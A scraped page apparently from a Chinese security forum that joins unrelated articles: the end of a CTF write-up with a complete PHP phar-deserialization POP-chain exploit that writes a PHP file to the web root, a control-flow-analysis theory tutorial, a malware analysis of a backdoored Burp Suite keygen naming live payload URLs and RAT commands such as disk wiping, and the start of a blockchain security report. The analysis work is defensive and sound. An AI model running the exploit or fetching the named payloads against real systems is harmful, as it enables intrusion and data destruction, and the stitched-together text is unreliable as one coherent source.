**hasListeners** 方法，进而触发 **__call** 方法，那么我们只要将 **this->formatters[‘hasListeners’]** 设置成 **‘strlen’** 即可，之后就会调用
**call_user_func_array(‘strlen’,’var/www/html’)** ，这样就可以绕过 **if** 语句。
j接着我们再回到 **foreach** 语句，继续搜索可利用的 **getListeners** 方法，看看是否可以返回一个可控数组（返回数组才能进入
**foreach** 语句）。通过搜索，我们会发现一个 **Dispatcher** 类的 **getListeners**
符合我们的要求，其具体代码如下：
此时 **$eventName** 是我们传入的 **‘/var/www/html/upload/1.php’**
，很明显上面的代码中可以返回一个数组，而且数组的值完全可控。
刚才 **foreach** 中的 **$this- >dispatcher->getListeners()** 调用的是
**FakerGenerator** 类的 **getListeners** 方法，现在我们要想办法让它调用 **Dispatcher** 类的
**getListeners** 方法。我们再看一下刚才 **Generator** 的调用流程图：
可以看到只要我们将 **this- >providers** 设置为 **array(Dispatcher类)** 即可，之后的调用就类似于
**call_user_func_array(array(Dispatcher类,’getListeners’),’/var/www/html/1.php’)**
。
现在基本完成了整个利用链，不过在执行到 **$this- >dispatcher->removeListener($eventName,
$listener)** 之前，还有一些额外的代码需要执行，我们要确保这些代码不会影响我们下面的方法，所以我们需要继续看 **foreach**
下面的代码（这里说的是 **TraceableEventDispatcher** 类 **preProcess** 方法中的 **foreach** ）。
我们看到其调用了本类的 **getListenerPriority** 方法，具体代码如下：
我们看到 **第16行** ，返回 **$this- >dispatcher->getListenerPriority($eventName,
$listener)** ，简直完美。我们可以不用执行到刚才的 **removeListener** 方法，直接到这里就可以完成整个 **POP链**
了。最终的利用 **exp** 如下：
<?php
namespace IlluminateEvents{
class Dispatcher{
protected $listeners;
protected $wildcardsCache;
public function __construct($parameter,$function){
$this->listeners[$parameter['filename']] = array($parameter['contents']);
}
}
};
namespace Faker{
class Generator{
protected $providers;
protected $formatters;
public function __construct($providers,$formatters){
$this->providers = $providers;
$this->formatters = $formatters;
}
}
};
namespace SymfonyComponentEventDispatcherDebug{
class TraceableEventDispatcher{
private $dispatcher;
public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
};
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $parameter){
$this->events = $events;
$this->event = $parameter['filename'];
}
}
}
namespace {
$function = 'file_put_contents';
$parameters = array('filename' => '/var/www/html/1.php','contents' => '<?php phpinfo();?>');
$dispatcher = new IlluminateEventsDispatcher($parameters,$function);
$generator = new FakerGenerator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
$traceableeventdispatcher = new SymfonyComponentEventDispatcherDebugTraceableEventDispatcher($generator);
$pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($traceableeventdispatcher,$parameters);
$o = $pendingbroadcast;
$filename = 'poc.phar';// 后缀必须为phar，否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
}
?>
我们再通过下面这张图片，来理清整个 **POP链** 的调用过程。
## 参考
[Code Breaking 挑战赛 — lumenserial](http://m4p1e.com/web/20181224.html) | 社区文章 |
# 程序分析理论 第三部分 控制流分析 抽象化和数学表示
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 基于约束的分析 Constraint Based Analysis
## 前言
到目前为止，数据流分析部分就结束了。数据流分析有一个缺陷，那就是数据流分析处理的是命令式语句：a=b或者a=b+c。而且是没有过程的命令式语句：变量参数不是一个函数的返回结果。面对有过程的命令式语句和函数式语句以及面向对象的语句，数据流分析就不能适用了。
这一篇文章讲的是控制流分析的抽象化和数学表示
## 控制流分析 Control Flow Analysis
我们学习新的分析方法：控制流分析
我们先对控制流分析和数据流分析进行对比：数据流分析使用了UD链，在于通过分析定义的变量和使用实现对程序的分析。控制流分析则是对程序进行抽象化后进行分析。
数据流分析中，我们有exp 和var
作为基本的组成部分构成抽象分析。在这里我们使用exp和term来作为最小单元。那么term和var有什么关系呢：在数据流分析中，我们在意的是某个变量最后的结果是什么，所以将每个变量都分开来保存，就像面向过程的编程语言一样，a=1
b=2
一个一个是独立的。然而，a和b实际上还是有关联的。就是a和b都是数字，正如面向对象的编程语言，我们将有共同点的东西归纳成一个类，term有以下几种情况：var变量，const常量，op操作符，lab标签。a可以等于x也可以等于1也可以是函数的返回值或者是一个运算的返回值或者复杂运算的结果。其中f和x表示变量var，c表示const常量，op表示OP，l表示lab标签。
因此，我们分析的最小单元是一段不包含跳转的代码块，该代码块可能是另一个代码块所需要的参数，也可能是判断是否执行某一代码块的bool类，还可能是程序的部分最终结果。
根据上述思想，我们需要记录的数据是由赋值语句决定的参数或者是一个复杂运算的结果决定的数。以及从所有抽象化后的操作找到所执行的操作。我们用C(l)将参数和一个复杂运算结果进行连接，ρ(x)将参数和操作链接。let表示抽象化后的操作，in表示包含参数的实例。
抽象后的最终分析可以用抽象代码树AST或者控制流图CFG实现。
### 例子 Examples
`图片来自于colostate university的control-flow analysis课件`
左侧是类似于汇编语言的伪代码，我们可以看到全部代码可以分为1-2 3-6 7-9 10 11五个部分，划分方法是在代码块中不存在跳转。
右侧则是左侧划分的控制流图CFG
其中需要特别关注的是1，3，7，10，11，每一个模块的起始位置。
接下来是principles of program analysis的例子
let是使用到的抽象语言，我们将=1看作f，+2看作g，+3看作h。in是实际执行语句。
那么(f g) + (f h)就是(1+2)+(1+3)
同时，我们还会发现形如(f g) 即[e_1 e_2]的式子，
我们可以结合colostate university的control-flow analysis的例子中第一个代码块，a:=0 和b:=a _b。a:=0
就是e_1，b:=a\_ b就是e_2
在进行下一个例子之前，我们定义以下两种与函数相关的定义
fn x => e_0 是函数的抽象定义
fun f x => e_0是函数的递归表达式，在e_0中会出现 f 作为调用自身的标志
其中fun f x => (f ^1 (fn y => y ^2)^3)^4是一个递归函数。f ^1指代函数本身，(fn y => y
^2)^3是函数的内部代码抽象化表示。
再根据let 和in 划分：let部分是函数抽象定义，in部分是实例化。
(g ^6 (fn z =>z ^7)^8)^9，将 (fn z =>z ^7)^8用h表示，就可以看作(g h)^9也就是e_1 e_2的形式。
### 上下文不敏感的抽象控制流分析 Abstract 0-CFA Analysis
首先，我们提出抽象分析的规范：(将代码转换成数学语言)
(C,ρ) |= c ^l 即形如a:=0的代码块。这样的代码块我们不需要特别关注，因为用户不可控。
(C,ρ) |= x ^l 形如 a:=x的代码块。我们转换成ρ(x) 包含于 C(l)。也就是在标签是 l 的代码中，一定存在变量x。
(C,ρ) |= (let x = t_1 ^ l_1 in t_2 ^ l_2) ^l
也就是和上面例子类似的形式，是一系列操作之后的结果。首先由于他内部含有形如t_1 ^ l_1的式子，依旧可以用(C,ρ)表示。所以可以细化成(C,ρ) |=
(let x = t_1 ^ l_1 in t_2 ^ l_2) ^l 再进行转换。除此之外，x=t_1 ^ l_1 in t_2 ^
l_2可以得到C(l_1) 包含于ρ(x) 。最后是( ) ^l 的结构我们可以得到C(l_2) 包含于C(l)
(C,ρ) |=(if t_0 ^ l_0 then t_1 ^l_1 else t_2 ^l_2)
^l就是if语句结构。同样的该结构内部含有可以更进一步分析的式子，(C,ρ) |=t_0 ^ l_0和(C,ρ) |=t_1 ^ l_1还有(C,ρ)
|=t_2 ^ l_2就显而易见了。除此之外( ) ^l的结构我们可以得到C(l_1)和C(l_2) 包含于C(l)
(C,ρ) |=(fn x => t_0 ^ l_0) ^l可以转换成fn x => t_0 ^ l_0包含于C(l)同样的 (C,ρ) |=(fun f
x => e_0) ^l 转换成fun f x => e_0包含于C(l)
(C,ρ) |=(t_1 ^ l_1 t_2 ^ l_2)转换成(C,ρ) |=t_1 ^ l_1 (C,ρ) |=t_2 ^
l_2。接下来是和上面不同的地方,当C(l_1)中包含fn x => t_0 ^ l_0则任意fn x => t_0 ^
l_0属于C(l_1)都可以转换成(C,ρ) |=t_0 ^ l_0，同时C(l_2)包含于ρ(x)也就是C(l_2)一定包含对x的操作。最后C(l_0)
包含于C(l)
当包含fun f x => t_0 ^ l_0，则任意fun f x => t_0 ^ l_0属于C(l_1)都可以转换成(C,ρ) |=t_0 ^
l_0，C(l_2)包含于ρ(x)，C(l_0) 包含于C(l)以及{fun f x => t_0 ^ l_0} 包含于ρ(f)
接下来，我们解释一下上下文不敏感：实际上控制流分析是可以上下文敏感的，只不过上下文不敏感是其最基础的形式，我们在这一篇中只讲上下文不敏感部分，也就是只考虑目前代码块中的逻辑与数据存储。
### **例子 Examples**
最外面的形式是[t_1 ^ l_2 t_2 ^ l_4] ^5，转换成(C,ρ) |=t_1 ^ l_2 (C,ρ) |=t_2 ^ l_4。由于t_1 ^
l_2是[fn x => [x] ^1] ^2，所以进一步转换成(C,ρ) |=[x] ^1 ，C(l_4)包含于ρ(x)，C(1)包含于C(5)
接下来要拓展(C,ρ) |=t_1 ^ l_2 (C,ρ) |=t_2 ^ l_4 (C,ρ) |=[x] ^1
(C,ρ) |=t_1 ^ l_2是{fn x => [x] ^1}包含于C(2)
(C,ρ) |=t_2 ^ l_4是{fn y => [y] ^3}包含于C(4)
(C,ρ) |=[x] ^1是ρ(x)包含于C(1)
同样的对[fn y => [y] ^3] ^4我们可以得到ρ(y)包含于C(3)
总结下来就是;
C(l_4)包含于ρ(x)
C(1)包含于C(5)
{fn x => [x] ^1}包含于C(2)
{fn y => [y] ^3}包含于C(4)
ρ(x)包含于C(1)
ρ(y)包含于C(3)
{fn y => [y] ^3}包含于C(4)包含于ρ(x)包含于C(1)包含于C(5)
我们对每一部分抽象表示
inc(i) —> fn i => i+1
dec(j) —> fn j => j-1
ide(k) —> fn k => k
foo(n,f) —> fn r=> ((if (n==0) f=ide) ^1 (r=f(n)) ^2) ^3
main() —> (fn y=> ((fn x => input ^0) ^1 (if (x>0) then y=foo(x,inc) ^2 else
y=foo(x,dec) ^3) ^4) ^5) ^6
流程图就是 main —> foo —> inc/dec/ide
其中第一个跳转根据if提供不同参数，第二个跳转根据参数调用不同函数。
使用数学表达式就是
从main开始C((fn y => e_0) ^6) = {{fn y => e_0} 属于 C(6) } ∪ C[() ^5]
C([] ^5) = C([fn x => input ^0] ^1) ∪ C([if then else] ^4) ∪ {C(4) 包含于ρ(x)} ∪
{C(0) 包含于 C(5)}
C([if then else] ^4) = C(x>0) ∪ C(y=foo(x,inc) ^2) ∪ C(y=foo(x,dec) ^3) ∪{C(2)
包含于C(4)} ∪ {C(3)包含于 C(4)}
C(x>0) = C(x) ∪ C(0)
C(x ^7) = {ρ(x) 包含于 C(7)}
C(0) = 空
C( y = foo(x,inc) ^2) = C((let y = fn r=> ((if (n==0) f=ide) ^1 (r=f(n)) ^2)
^3 in fn y => ((if (x==0) f=ide) ^1 (y=f(x)) ^2) ^3 )^L) = C((fn y=> ((if
(n==0) f=ide) ^1 (r=f(n)) ^2) ^3) ^L_1) ∪ C((fn y => ((if (x==0) f=ide) ^1
(y=f(x)) ^2) ^3)) ^L_2) ∪ {C(L_1) 包含于 ρ(x)} ∪ {C(L_2) 包含于 C(L)}
同理C( y = foo(x,dec) ^3) =C((let y = fn r=> ((if (n==0) f=ide) ^1 (r=f(n)) ^2)
^3 in fn y => ((if (x==0) f=ide) ^1 (y=f(x)) ^2) ^3 )^L) = C((fn y=> ((if
(n==0) f=ide) ^1 (r=f(n)) ^2) ^3) ^L_1) ∪ C((fn y => ((if (x==0) f=ide) ^1
(y=f(x)) ^2) ^3)) ^L_2) ∪ {C(L_1) 包含于 ρ(x)} ∪ {C(L_2) 包含于 C(L)}
C((fn y=> ((if (n==0) f=ide) ^1 (r=f(n)) ^2) ^3) ^L_1) = C((if (n==0) f=ide)
^1 (r=f(n)) ^2) ^3)) ∪ {(if (n==0) f=ide) ^1 (r=f(n)) ^2) ^3) ^L_1} 包含于 C(L_1)
C((if (n==0) then f=ide) ^1 (r=f(n)) ^2) ^3) ) = C((if (n==0) then f=ide) ^1)
∪ C((r=f(n)) ^2))
C((if (n==0) then f=ide) ^1) = C(n) ∪ C(0) ∪ C(f=ide)
C(n) = ρ(n) 包含于 C
C(0) = 空
C(f=ide) = 空
C((r=f(n)) ^2)) = C((let r= f() ^i in f(n) ^j )^2) = C(f()) ∪ C(f(n)) ∪
C(i)包含于 ρ(r) ∪ C(j) 包含于 C(2)
随后f()可能是inc ，dec ，ide所以C(f()) = C(inc()) ∪ C(dec()) ∪C(ide())
C(inc()) = C((fn i => i+1) ^i) = {{fn i => i ^0+1} 包含于 C(i)} ∪ {ρ(i) 包含于 C(0)}
C(dec()) =C((fn j => j-1 ^i))= {{fn j => j ^0-1} 包含于 C(i)} ∪ {ρ(j) 包含于 C(0)}
C(ide()) =C((fn k => k ^i))= {{fn k => k ^0} 包含于 C(i)} ∪ {ρ(j) 包含于 C(0)}
同理可知C((fn y => ((if (x==0) f=ide) ^1 (y=f(x)) ^2) ^3)) ^L_2)，这里不再写出。
至此，对上面例子的抽象化和数学表示就全部完成了。
_作者 DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
# 恶意软件逆向：burpsuite 序列号器后门分析
##### 译文声明
本文是翻译文章，文章原作者 lkw，文章来源：0x00sec.org
原文地址：<https://www.0x00sec.org/t/malware-reversing-burpsuite-keygen/5167>
译文仅供参考，具体内容表达以及含义原文为准。
> 免责声明：本文中包含病毒样本，处理该样本存在一定的安全风险，后果自负。如果条件允许，请使用虚拟机来运行该样本。
### **特别鸣谢：吾爱破解论坛提供无后门安全版本**
### **Burp Suite Pro Loader &Keygen By surferxyz（附带v1.7.31原版）**
### **https://www.52pojie.cn/thread-691448-1-1.html**
### **(出处: 吾爱破解论坛)**
## 一、前言
昵称为@the_heat_man的某些随机新“用户”多次在各种论坛上发布了一些文件（因为文件多次被删），并宣称这些文件为burpsuite的keygen（注册机）。论坛上好多用户怀疑该文件是恶意软件。我和@Leeky、@dtm、@Cry0l1t3以及@L0k1决定逆向分析这款软件，看一下我们的猜测是否正确。令人惊讶的是，虽然该工具包含一个远程访问木马（RAT，
remote access trojan），但的确也包含可用的keygen。因此，受法律条款约束，本文中我没有给出原始文件的具体链接。
## 二、木马分析
现在我们详细分析一下这款RAT。
keygen中包含一个`virus.txt`文件，文件内容为一个网页[链接](https://www.virustotal.com/#/file/6530b29367de2b0fa42c411f94ae734d745443256431aee0fe221acb7a75c103/detection)，链接指向virustotal对keygen
jar文件的扫描结果。
然而virus total上显示的哈希与实际文件并不匹配，表明该网站实际上扫描的是另一个文件，VT上的哈希为：
VT: SHA-256 6530b29367de2b0fa42c411f94ae734d745443256431aee0fe221acb7a75c103
实际文件哈希值为：
> shasum -a 256 burp-loader-keygen1.7.31.jar
1bf764e77a543def4c623e6e207b1b72999f6550cf49651b88d53f80ae10e4d7 burp-loader-keygen1.7.31.jar
jar文件实际上就是zip文件，因此我们可以使用unzip命令解压jar文件。
> cp burp-loader-keygen1.7.31.jar burp-loader-keygen1.7.31.zip
> unzip burp-loader-keygen1.7.31.zip
Archive: burp-loader-keygen1.7.31.zip
creating: META-INF/
extracting: META-INF/MANIFEST.MF
creating: burploader/
extracting: burploader/Burploader.class
extracting: burploader/Data.bin
解压结果中包含一个class文件，我们可以反编译这个类文件。我使用的是jad工具，kali上已经安装了这款工具。
> jad burploader/Burploader.class
我摘抄了反编译后比较重要的java代码，如下所示：
在这部分代码之前是经过base64编码的另一个jar文件，文件中包含keygen。经过编码的文件存放在`m`中。解码函数会处理base64编码，将其写入`Data.jar`文件。
此外，代码中还包含一些powershell命令，用来下载并执行powershell脚本，脚本的地址为`http://imonty.cn/wp-includes/pomo/script/dcss/js.js`（虽然扩展名为`.js`，但实际上是powershell脚本），同时上面这段代码也会运行keygen。
我们可以下载这个脚本，观察脚本内容，如下所示：
这段代码会将两个新文件释放到新创建的`c:ProgramDataWindowsNT`目录中，释放出来的文件为：
1、<http://imonty.cn/wp-includes/pomo/script/dcss/co.js>，保存为`WindowsNT.ini`；
2、<http://imonty.cn/wp-includes/pomo/script/dcss/co.vbs>，保存为`WindowsNT.vbs`。
随后恶意代码会运行vb脚本（`co.vbs`），因此我们先来看看这个脚本，其内容如下所示：
我们看到了经过混淆处理的vb代码。想要解开混淆，最简单的一种方法就是将代码中的执行语句替换成打印语句（这种方法可能无法适用于所有情况，但仍然是非常有用的一种技术）。显然，这段代码中负责执行去混淆后代码的语句为`EVAL(ExEcUTE(www))`。
> 这个文件的真正功能是分割一个非常长的字符串（每次碰到`*`符号就进行切割），然后计算分割后的数学表达式，将其转换成字符，将这些字符拼接起来后再去运行。
为了打印出字符串，我们需要将`EVAL(ExEcUTE(www))`替换为`wscript.echo www`，然后再次运行脚本。
这段脚本的功能是使用powershell运行下载的另一个文件，即`co.js`（保存为`WindowsNT.ini`）。
因此让我们来看一下`co.js`。
这个文件比较大，因此我将该文件上传到了[GitHub](https://gist.githubusercontent.com/lkw657/f2dfae7f73267c8114de039a60efcb51/raw/e7b622c0385b48a3f727cb9b97fbf2b34966a5d5/co.ps1.gz.b64)上。
在上传之前，我使用gzip以及base64处理了一下这个文件，因此你可以运行`cat co.ps1.gzip.b64 | base64 -d |
gunzip > co.ps1`命令恢复原始代码。
此外，我将`co.js`重命名为`co.ps1`，方便大家在powershell中使用`./`方式运行。
`iex`（全称为`invoke-expression`）函数可以用来执行powershell代码，因此我们需要使用`write-output`来替换该函数，打印出结果，再次运行该文件。
修改后的代码如下所示：
由于我在新的虚拟机环境中运行这段代码，因此我需要允许执行不受信任的powershell脚本。以管理员身份运行powershell：
PS E:burpburploader> ./co.ps1 > co.2.ps1
我也将生成的文件上传到了[GitHub](https://gist.githubusercontent.com/lkw657/aa4cb19b3b7b5ccd55c846a59b3c07bf/raw/572ae9cff6747c45c2880f655139c4aebe0ff266/co.2.ps1.gz.b64)上。
生成的文件同样经过混淆处理。
该文件的开头部分如下所示：
这一次代码没有使用`iex`，调用的是`Invoke-Expression`，我们同样可以使用`write-output`来替换该函数。
再次运行这个文件。
PS E:burpburploader> ./co.2.ps1 > co.3.ps1
大家可以访问[此处](https://gist.githubusercontent.com/lkw657/bbbf4df3c2aa92f59cdd856643409d0f/raw/171f282ad627db264f279ca10644cda285acb284/co.3.ps1.gz.b64)获取生成的文件。
首先需要注意的是，新的文件包含三个部分，由空行分开。之前我犯了点错误，缺失了第一部分的文件，因此无法找到后面分析中所需的一些信息（感谢@leeky以及@dtm的细心提醒）。我没有尝试一次性解开整个文件（虽然之前我经常这么做），而是将其分成3个小文件，逐一处理这些文件。
### 第1部分
该部分的 **结尾** 处如下所示：
这一次我们并没有看到熟悉的`invoke-expression`，然而由于代码会在最后执行，因此调用操作很有可能出现在结尾处，要么在左侧，使用经过混淆的代码作为参数，要么在右侧，将代码重定向到标准输入中。
在这种情况下，由于左侧只包含一个括号，因此我们来分析一下管道右侧的语句，即`.(
$PsHOmE[21]+$PShOMe[30]+'X')`（上图中圈起来的部分）。
非常有趣，我们可以看一下`$PsHOmE[21]+$PShOMe[30]+'X'`的执行结果。
PS E:burpburploader> $PsHOmE[21]+$PShOMe[30]+'X'
ieX
因此，我们需要使用`write-output`来替换`.( $PsHOmE[21]+$PShOMe[30]+'X')`。
生成的结果也经过混淆处理，更加复杂。
重复类似操作。看一下上述代码中开头部分`.( $eNv:PuBliC[13]+$eNv:pUBLiC[5]+'x')`的具体含义：
PS E:burpburploader> $eNv:PuBliC[13]+$eNv:pUBLiC[5]+'x'
iex
还是使用`write-output`来替换这个语句：
运行后我们会得到更加复杂的结果，我们需要重复类似操作，在新生成的文件尾部使用`write-output`替换`&
($pShoME[21]+$pShoME[34]+'X')`，然后再替换开头处的`&( $pShoME[21]+$pSHOMe[30]+'X')`语句。
### 第2部分
第2部分的开头为`[String]::JoIN('',( [Char[]]( 127 ,105`。
**结尾** 部分如下所示：
在结尾处，使用`write-output`替换`.((gV
'*mDR*').nAme[3,11,2]-joIn'')`语句，生成的结果仍然经过混淆处理。再次使用`write-output`替换结尾处的`.(
$pShoME[4]+$PsHoMe[30]+'X')`，再次执行。
这样的操作仍然要重复多次，比如我们还需使用`write-output`替换开头附近的`&(
([sTrINg]$verbosePREFerencE)[1,3]+'x'-JOIN'')`，然后再使用`write-output`替换`. (
$Env:comsPec[4,15,25]-JOiN'')`。
### 第3部分
第3部分的开头处如下所示：
使用`write-output`替换开头处的`.( $PsHome[4]+$PShoME[34]+'X')`，然后再次执行。
这部分代码可读性较强，如果我们替换函数名称则更加易读。
使用这种方法我们最多能达到这个程度。我们必须通过手动分析来找到函数名，然后再以手动方式或编写脚本找到并规范变量名。
大家可以从[这里](https://gist.githubusercontent.com/lkw657/becdb839139901fcc907fc39605a890d/raw/70e685f6ec0917aad7a6662132f967577bd72e3e/final1.ps1.b64)获取经过处理后的代码。
我对代码还做了些改动，去掉了乱七八糟的变量，修改了某些函数的名称，大家可从[这里](https://gist.githubusercontent.com/lkw657/4244014b5c091325feb3b40e0a3c786f/raw/3476aa131dcbb7fc244691dd5ed90a4af724b854/final2.ps1.b64)获得改动后的代码。
Virustotal并没有将这个[powershell脚本](https://www.virustotal.com/#/file/6f38fe65cad067a73888552cdb9817a37329863d8732b4e930938f619ca504fe/detection)当成病毒程序，如下所示：
然而，某些[启发式检测引擎](https://www.virustotal.com/#/file/1bf764e77a543def4c623e6e207b1b72999f6550cf49651b88d53f80ae10e4d7/detection)能够正确识别释放器（dropper）：
第1部分代码中只包含变量，然而变量名及值非常复杂。
分析相关函数后，我们发现`$dragon_middle`变量包含RAT需要连接的一些域名（恶意软件会遍历这个列表，直到找到可以连接上的域名）。`$private`以及`$public`变量包含RAT
传输数据所需的加密及解密密钥。@Leeky循环处理这些数组，成功打印出了这些内容，大家可以参考[此处](https://gist.githubusercontent.com/lkw657/61905786d99565ba8df087f208b4310a/raw/3c3250bd30e68e286d0a06f371719f49583a1b92/variables.txt)了解相关信息。
@Cry0l1t3遍历了这些域名，从中挑出了一个不同的[域名](https://gist.githubusercontent.com/lkw657/db14c27dd42f83ad62ec64de6862249a/raw/3ff41837eeeeda4acf909f64910e4f5ae33a222a/domain)，该域名与其他所有域名相比会解析到一个不同的主机上。
@dtm通过[Github](https://gist.githubusercontent.com/lkw657/9d81fac2ca10126eceb5119eae92b30e/raw/6791d90b9c4929a9029c8070c04632696ce33d15/variables.txt)提供了更加完整的一份变量列表。我不太了解他如何生成这些结果，但根据结果的格式，我猜测他使用了一条命令来打印出相关信息（如果猜测不对请及时纠正我）。
虽然这份列表中并没有包含`$dragon_middle`中的所有元素，但包含了更为有趣一些变量，如用来查找受害者IP的变量（`https://api.ipify.org/`）以及受害者国别的变量（`http://apinotes.com/ipaddress/ip.php?ip=`）。
他还捕捉了恶意软件连接服务器过程中生成的一些[数据包](https://gist.githubusercontent.com/lkw657/e9c13ddb9cf3955384f3b39f22f97d6d/raw/ae674ac8401597c759e15ee7f79ea78ee520557d/packets.pcap.b64)。
第2部分包含加密及解密代码，第3部分为剩下的所有代码。
RAT使用RSA加密算法来与服务器通信。奇怪的是，我认为代码中公钥以及私钥的命名方式被作者弄错了。
代码所使用的公钥以及私钥具有不同的模式，这表明它们很有可能来自于不同的密钥对。
发往服务器的消息经使用服务器公钥（代码中的`$secret`变量）进行加密，然后使用服务器的私钥进行解密（私钥存储在服务器上）。
发往RAT的消息使用RAT的公钥（存放在服务器上）进行加密，然后使用RAT的私钥（代码中的`$public`变量）进行解密。
从理论上讲，如果加解密过程没有破绽，那么我们无法解开发往服务器的消息（当然我们可以修改RAT，打印出这些消息）。然而，攻击者的密钥使用了小素数，因此存在弱点。
当RAT启动时，做的第一件事就是完成本地持久化。
RAT将vbs文件的路径添加到注册表中的`HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRunDifenderUpdate`，然后使用计划任务，在登录时运行该脚本。
我不大确定本地持久化函数中第一部分代码的功能。我觉得这段代码的功能是禁用Word的受保护视图功能，但我不确定为什么恶意软件需要这个功能。
接下来RAT检查正在运行的进程，查看是否存在某些调试器或者其他工具。如果找到这类工具，则会关闭主机。
接下来，RAT尝试连接到`$dragon_middle`中保存的服务器，一旦出现错误，则会重复该过程（大概是因为RAT认为这些服务器可能会停止服务或者被列入黑名单中）。
RAT在接受并处理服务器的命令之前，会先尝试与向服务器进行注册。
RAT接受如下几类命令：
1、reboot：重启主机。
2、shutdown：关闭主机。
3、clean：在重启前尽可能清掉C:、D:、E:以及F:的数据。
4、screenshot：截屏并将结果发往服务器。
5、upload：把服务器上的某个文件传输到受害者主机中。
如果收到的命令不属于如上几类，则会尝试在powershell中执行。
我使用默认的执行策略来运行这个keygen（记得前面我们已经改过运行策略），检查`c:ProgramDataWindowsNT`目录，观察RAT能否正常运行。我发现该目录没有创建成功，因此Windows可能会阻止RAT的运行。
## 三、补充说明
前面我提到过，RAT使用的加密算法比较脆弱，这里我想补充下我们如何破解这个算法。
我不想在这里介绍RSA的基本工作原理，0x00sec上有相关[教程](https://0x00sec.org/t/encryption-101-rsa-001-the-maths-behind-it/1921)，并且[维基百科](https://en.wikipedia.org/wiki/RSA_\(cryptosystem))上也有许多有价值的参考资料。
RSA算法中用到了两个素数：`p`以及`q`，用来计算`n = p*q`，这两个素数比较关键，需要妥善保管。这两个素数也用来计算`λ(n) = λ(p*q)
= lcm(p-1, q-1)`。RSA中公钥`e`以及私钥`e`满足一定关系：`d == e^(-1) (mod λ(n))`。
对于这个RAT，用到的`n`非常小（因为使用的是小素数），因此我们很容易就可以将其分解为正确的`p`以及`q`。接下来我们可以使用这两个数来计算`λ(n)`，然后用前面的公式，根据`e`来计算`d`。
我们可以使用SageMath来计算，代码如下：
# from $private variable in rat
e = 959
n = 713
# factor n
# list(factor(n)) returns prime factors as a list of tuples of (factor, amount)
# we just want the factors
p, q = [a[0] for a in list(factor(n))]
# calculate λ(n)
l = lcm(p-1, q-1)
# calculate d
print('d = {}'.format(inverse_mod(e, l)))
算出`d = 149`。
利用服务器的私钥，我们可以写段脚本来解密发往服务器的消息。如果我们将这个过程应用到RAT的公钥上，那么我们可以作为中间人角色，通过MiTM方式攻击RAT与服务器之间的通信流量。
使用python语言编写的解密脚本如下所示：
def decrypt(ciphertext):
key = 149
n = 713
decrypted = []
for i in range(0, len(ciphertext)):
num = int(ciphertext[i])
t = pow(num, key, n)
decrypted.append(chr(t))
return ''.join(decrypted)
nums = input().split()
print(decrypt([int(i) for i in nums]))
在@dtm截获的pcap包中，RAT将如下数据发往服务器：
340 362 396 383 105 598 219 362 581 362 518 73 35 73 504 220 515 665 504 515 515 35 515 518 133 335 316 665 515 665 220 665 316 181 665 335 515 38 335 335 335 316 362 663 362 145 180 396 637 383 219 362 581 362 180 383 432 432 145 219 367 362 590
利用上述脚本，我们可以解密出原始的消息，如下所示：
{"TOKEN":"70e0a413a11e17db9313439c3b1fbbb9","ACTION":"COMMAND"}
[原文链接：https://www.0x00sec.org/t/malware-reversing-burpsuite-keygen/5167](https://www.0x00sec.org/t/malware-reversing-burpsuite-keygen/5167) | 社区文章 |
# 360CERT——区块链技术安全讨论
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
安全报告：区块链技术安全讨论
---
报告编号：B6-2018-012301
报告来源：360网络安全响应中心
报告作者：360CERT
更新日期：2018年1月23日
## 0x00 背景介绍
区块链技术是金融科技（Fintech）领域的一项重要技术创新。
作为分布式记账（Distributed Ledger
Technology，DLT）平台的核心技术，区块链被认为在金融、征信、物联网、经济贸易结算、资产管理等众多领域都拥有广泛的应用前景。区块链技术自身尚处于快速发展的初级阶段，现有区块链系统在设计和实现中利用了分布式系统、密码学、博弈论、网络协议等诸多学科的知识，为学习原理和实践应用都带来了不小的挑战。
区块链属于一种去中心化的记录技术。参与到系统上的节点，可能不属于同一组织、彼此无需信任；区块链数据由所有节点共同维护，每个参与维护节点都能复制获得一份完整记录的拷贝，由此可以看出区块链技术的特点：
* 维护一条不断增长的链，只可能添加记录，而发生过的记录都不可篡改；
* 去中心化，或者说多中心化，无需集中的控制而能达成共识，实现上尽量分布式；
* 通过密码学的机制来确保交易无法抵赖和破坏，并尽量保护用户信息和记录的隐私性。
虽然单纯从区块链理解，仅仅是一种数据记录技术，或者是一种去中心化的分布式数据库存储技术，但如果和智能合约结合扩展，就能让其提供更多复杂的操作，现在活跃的各个数字货币就是其中一种表现形式。
## 0x01 区块链安全性思考
由于区块链技术的特性，在设计之处就想要从不同维度解决一部分安全问题：
### 01 Hash唯一性
在blockchain中，每一个区块和Hash都是以一一对应的，每个Hash都是由区块头通过sha256计算得到的。因为区块头中包含了当前区块体的Hash和上一个区块的Hash，所以如果当前区块内容改变或者上一个区块Hash改变，就一定会引起当前区块Hash改变。如果有人修改了一个区块，该区块的
Hash
就变了。为了让后面的区块还能连到它，该人必须同时修改后面所有的区块，否则被改掉的区块就脱离区块链了。由于区块计算的算力需求强度很大，同时修改多个区块几乎是不可能的。
由于这样的联动机制，块链保证了自身的可靠性，数据一旦写入，就无法被篡改。这就像历史一样，发生了就是发生了，从此再无法改变，确保了数据的唯一性。
### 02 密码学安全性
以比特币为例，数字货币采用了非对称加密，所有的数据存储和记录都有数字签名作为凭据，非对称加密保证了支付的可靠性。
### 03 身份验证
在数字货币交易过程中，由一个地址到另一个地址的数据转移都会对其进行验证：
– 上一笔交易的Hash(验证货币的由来)
– 本次交易的双方地址
– 支付方的公钥
– 支付方式的私钥生成的数字签名
验证交易是否成功属实会经过如下几步：
– 找到上一笔交易确认货币来源
– 计算对方公钥指纹并与其地址比对，保证公钥的真实性
– 使用公钥解开数字签名，保证私钥真实性
### 04 去中心化的分布式设计
